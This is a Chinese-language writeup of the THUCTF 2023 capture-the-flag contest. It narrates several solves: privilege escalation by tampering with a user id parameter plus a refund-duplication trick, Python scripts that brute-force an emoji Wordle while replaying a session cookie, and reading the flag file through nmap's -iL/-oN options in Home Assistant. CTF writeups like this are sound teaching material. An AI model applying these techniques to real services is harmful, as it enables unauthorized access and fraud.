  1. 登陆界面,尝试 sql 注入没有成功,尝试爆破 admin 密码没有成功;

  2. 注册新用户登陆,主界面仅有个人信息,查看页面代码,发现有一个被注释掉的用户管理链接;

    Untitled

  3. 尝试直接访问 /role_change.php 界面,提交用户权限修改,得到权限限制提示;

    Untitled

  4. 用 Burpsuite 抓包发现,提交权限修改的 POST 请求携带了 id 参数;

    Untitled

  5. 猜测 id 代表提交修改请求的用户,当前创建的用户 id 为 2,猜测 admin 账户 id 为 1,将抓到的包修改该参数重新发送,用户权限修改成功;

    Untitled

  6. 查看商品中心界面和订单管理界面,用户金额只有 100,仅能购买价格 50 的 vme50,买不起价值 1000 的 flag;

  7. 各种尝试之后发现,多个用户购买的商品会同时出现在订单管理界面里,并且均可执行退款操作;

    Untitled

    退款后,金币数额达到累加的效果;

    Untitled

  8. 创建 10 个账户,用同样的方法进行提权操作,并购买 vme50 进行统一退款,在一个账户内达到 1000 金额,即可购买 flag 进行查看。

    Untitled

6. Emodle - Level1

Challenge:

一个由 emoji 组成的 Wordle 游戏。

Solution:

通过暴力遍历进行猜测,获取 flag。

Steps:

  1. 由于提示第一题的答案是固定的,所以选择暴力破解;

    Untitled

  2. 虽然 Emodle 的长度只有 64,但是emoji 的数量也太多了,并且需要从文档中进行提取非常麻烦,所以尝试从输入框的 placeholder 中提取答案可能用到的 emoji,发现仅有 128 个被使用;

    Untitled

  3. 在 Emodle 的 64 位上依次尝试上述 128 个字符,直到解出正确的 Emodle;

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    import requests
    from bs4 import BeautifulSoup
    import re

    # URL to send a GET request to
    url = 'http://chal.thuctf.redbud.info:52468'

    # try to collect the emoji the website is using
    emoji_list = []
    for i in range(1, 50):
    # Send the GET request
    response = requests.get(url + '/level1')

    # Check if the request was successful (status code 200)
    if response.status_code == 200:
    print("GET Request was successful")

    # Parse the HTML content with Beautiful Soup
    soup = BeautifulSoup(response.text, 'html.parser')

    # Find the input box by its attributes, such as 'name', 'id', or 'class'
    input_box = soup.find('input', {'name': 'guess'})

    if input_box:
    print("Input box found!")

    # Access the 'placeholder' attribute and print it
    placeholder = input_box.get('placeholder')
    # print(f"Placeholder: {placeholder}")
    for emoji in placeholder:
    if emoji not in emoji_list:
    emoji_list.append(emoji)

    else:
    print("Input box not found on the page.")

    else:
    print(f"GET Request failed with status code {response.status_code}")

    print(emoji_list)
    print(len(emoji_list))
    # there are just 128 emojis in use

    # try to guess the wordle: for flag1
    wordle = [0] * 64
    for i in range(128):
    guess_value = ''.join([emoji_list[w] for w in wordle])
    print(guess_value)

    response = requests.get(url + '/level1' + '?guess=' + guess_value)
    # Check if the request was successful (status code 200)
    if response.status_code == 200:
    print("GET Request was successful")
    # print(response.text)

    result = re.compile(r'results.push\("(.+)"\)').findall(response.text)[0]
    print(result)

    for i in range(64):
    if result[i] == '🟥' or result[i] == '🟨':
    wordle[i] = wordle[i] + 1
    else:
    print(f"GET Request failed with status code {response.status_code}")
  4. 输入正确的 Emodle 即可获得 flag。

    Untitled

7. Emodle - Level2

Challenge:

一个由 emoji 组成的 Wordle 游戏。

Solution:

解析 cookie 中的 JWT 凭证,获得游戏答案,得到 flag。

Steps:

  1. 由于提示该题答案存储在会话中,所以先去查看 cookie,发现是 JWT 凭证;

    Untitled

  2. 利用网络上的 JWT 解码工具,得到正确答案;

    Untitled

  3. 输入正确答案,获得 flag。

    Untitled

8. Emodle - Level3

Challenge:

一个由 emoji 组成的 Wordle 游戏。

Solution:

记录请求所携带的 cookie,重放该 cookie,以达到无限猜测次数,然后同第一题求解方式相同。

Steps:

  1. 查看 cookie 中 JWT 存储的内容,不再是答案,而是剩余猜测次数;

    Untitled

  2. 由于 JWT 的签名无法篡改其内容,但是可以让请求包一直尝试携带剩余次数为 3 的会话 cookie 进行尝试,暴力破解得到正确答案,获得 flag。

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    67
    68
    69
    70
    71
    72
    73
    74
    75
    76
    77
    import requests
    from bs4 import BeautifulSoup
    import re

    # URL to send a GET request to
    url = 'http://chal.thuctf.redbud.info:52468'

    # try to collect the emoji the website is using
    emoji_list = []
    for i in range(1, 50):
    # Send the GET request
    response = requests.get(url + '/level1')

    # Check if the request was successful (status code 200)
    if response.status_code == 200:
    print("GET Request was successful")

    # Parse the HTML content with Beautiful Soup
    soup = BeautifulSoup(response.text, 'html.parser')

    # Find the input box by its attributes, such as 'name', 'id', or 'class'
    input_box = soup.find('input', {'name': 'guess'})

    if input_box:
    print("Input box found!")

    # Access the 'placeholder' attribute and print it
    placeholder = input_box.get('placeholder')
    # print(f"Placeholder: {placeholder}")
    for emoji in placeholder:
    if emoji not in emoji_list:
    emoji_list.append(emoji)

    else:
    print("Input box not found on the page.")

    else:
    print(f"GET Request failed with status code {response.status_code}")

    print(emoji_list)
    print(len(emoji_list))
    # there are just 128 emojis in use

    # try to guess the wordle: for flag3
    response = requests.get(url + '/level3')

    # Check if the request was successful (status code 200)
    if response.status_code == 200:
    print("GET Request was successful")
    # print(response.text)

    hijacked_cookie = response.cookies['PLAY_SESSION']

    wordle = [0] * 64
    for i in range(128):
    guess_value = ''.join([emoji_list[w] for w in wordle])
    print(guess_value)

    response = requests.get(url + '/level3?guess=' +guess_value, cookies={'PLAY_SESSION': hijacked_cookie})
    # Check if the request was successful (status code 200)
    if response.status_code == 200:
    print("GET Request was successful")
    # print(response.text)

    result = re.compile(r'results.push\("(.+)"\)').findall(response.text)[0]
    print(result)

    for i in range(64):
    if result[i] == '🟥' or result[i] == '🟨':
    wordle[i] = wordle[i] + 1
    else:
    print(f"GET Request failed with status code {response.status_code}")

    print(response.text) # now the flag is in html page

    else:
    print(f"GET Request failed with status code {response.status_code}")

    Untitled

9. 逝界计划

Challenge:

一个 Home Assistant 环境,可以通过网页端进行访问和配置。

Solution:

利用其中的 nmap 集成读取靶机上的 flag 文件。

Steps:

  1. 根据提示添加 nmap 集成,发现可以自定义 nmap 扫描命令;

    Untitled

  2. 搜索发现 nmap 可以通过 -iL 参数读取文件,若文件内容不是合法目的地址,则会将内容打印在报错信息里;

    Untitled

  3. 但是就算启用调试日志, home assistant 日志里也不会显示 nmap 报错信息;

    Untitled

  4. 所以需要想办法将 nmap 的扫描结果输出到文件里,搜索发现可以通过 -oN 输出扫描结果;

  5. 同时发现上传到媒体的文件,可以在 docker 容器的 /media 目录下找到

    Untitled

  6. 配置 nmap 将扫描结果输出到该目录下,再从网页上下载下来即可获得 flag,注意该目录只显示媒体文件类型;

    Untitled

    Untitled

五、Reverse

1. 汉化绿色版免费普通下载

Challenge:

一个可执行文件 game.exe,重复输入两次相同的字符串即可通关;

一个存储游戏资源的 data.xp3 文件;

以及记录游戏存档的 data0.kdt、datasc.ksd、datasu.ksd 文件。

Solution:

从 .xp3 中提取游戏源码,获得 flag。

Steps:

  1. 查询 .xp3 文件类型,下载 xp3tools 提取 data.xp3 文件获得源码;

  2. 浏览游戏源码,发现 scenario 文件夹下的代码记录了游戏运行逻辑,其中 done.ks 中写明如果输入正确则打印 flag。

    Untitled

Reference:

https://www.lifewire.com/xp3-file-2622577

2. 汉化绿色版免费高速下载

Challenge:

一个可执行文件 game.exe,重复输入两次相同的字符串即可通关;

一个存储游戏资源的 data.xp3 文件;

以及记录游戏存档的 data0.kdt、datasc.ksd、datasu.ksd 文件。

Solution:

从存档数据中推测出 flag 的各字母出现次数,再根据游戏源码的判断逻辑,计算得到 flag。

Steps:

  1. 从提取出的源码中,可以看出在一轮和第二轮输入中,会根据输入的字母计算 hash,最后比对 hash 值来判断两轮输入是否一致;

    Untitled

  2. 通过搜索,发现可以使用 KiriKiriTools 解码出存档数据;

  3. 从 data0.kdt 中看到出题人第一轮输入的 hash 为 7748521;

    Untitled

  4. 通过多次存档对比发现,datasu.ksd 中的数据记录了事件次数,得到出题人在第一轮按了 6 个 A、3 个 E、1 个 I、6 个 O,全排列计算其hash,得到符合要求的输入即为 flag。

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    def permutation(S: str):
    n=len(S)
    if n==0:
    return [""]
    res=[]
    for i in range(n):
    if S[i] in S[:i]: #只需判断S[i]是否在S[:i]中出现过即可
    continue
    for s1 in permutation(S[:i]+S[i+1:]):
    res.append(S[i]+s1)
    return res

    possible = permutation(1 * 'I' + 6 * 'A' + 3 * 'E' + 6 * 'O')

    def hashhash(s):
    h = 1337
    for chr in s:
    if chr == 'A':
    h = (h * 13337 + 11) % 19260817
    elif chr == 'E':
    h = (h * 13337 + 22) % 19260817
    elif chr == 'I':
    h = (h * 13337 + 33) % 19260817
    elif chr == 'O':
    h = (h * 13337 + 44) % 19260817
    elif chr == 'U':
    h = (h * 13337 + 55) % 19260817
    h = (h * 13337 + 66) % 19260817
    return h

    for p in possible:
    if hashhash(p) == 7748521:
    print(p)

    # OOAAAAEAEIEAOOOO

Reference:

https://iyn.me/i/post-45.html

https://github.com/arcusmaximus/KirikiriTools

六、Forensics

1. Z 公司的服务器

Challenge:

一个流量记录 zserver.pcapng。

Solution:

重放数据包中的字节,获得服务器响应的 flag.txt。

Steps:

  1. 用 netcat 连接远程环境,收到无意义字节,与所给流量中数据包 TCP 载荷相同;

    Untitled

    Untitled

    Untitled

  2. 尝试重放流量包中另一方发送数据包的 TCP 载荷,后收到响应的 flag.txt 文件。

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    from pwn import *

    if __name__ == '__main__':
    context.log_level = 'debug'
    p = remote('chal.thuctf.redbud.info', 52470)

    # replay the pcap
    res = p.recv()
    p.send(bytes.fromhex('2a2a184230313030303030303633663639340a0a'))
    res = p.recv()
    p.send(bytes.fromhex('2a2a184230313030303030303633663639340a0a2a2a184230393030303030303030613837630a0a'))
    res = p.recv()

    Untitled

2. Z 公司的流量包 ****(not solved)

七、PPC

1. 关键词过滤喵,字数统计谢谢喵 (not solved)

2. 关键词过滤喵,排序谢谢喵 (not solved)

3. 关键词过滤喵,运行程序谢谢喵 (not solved)


THUCTF 2023 Writeup
https://xxyyue.pages.dev/2023/10/21/20231013THUCTF/
作者
xxyyue
发布于
2023年10月21日
许可协议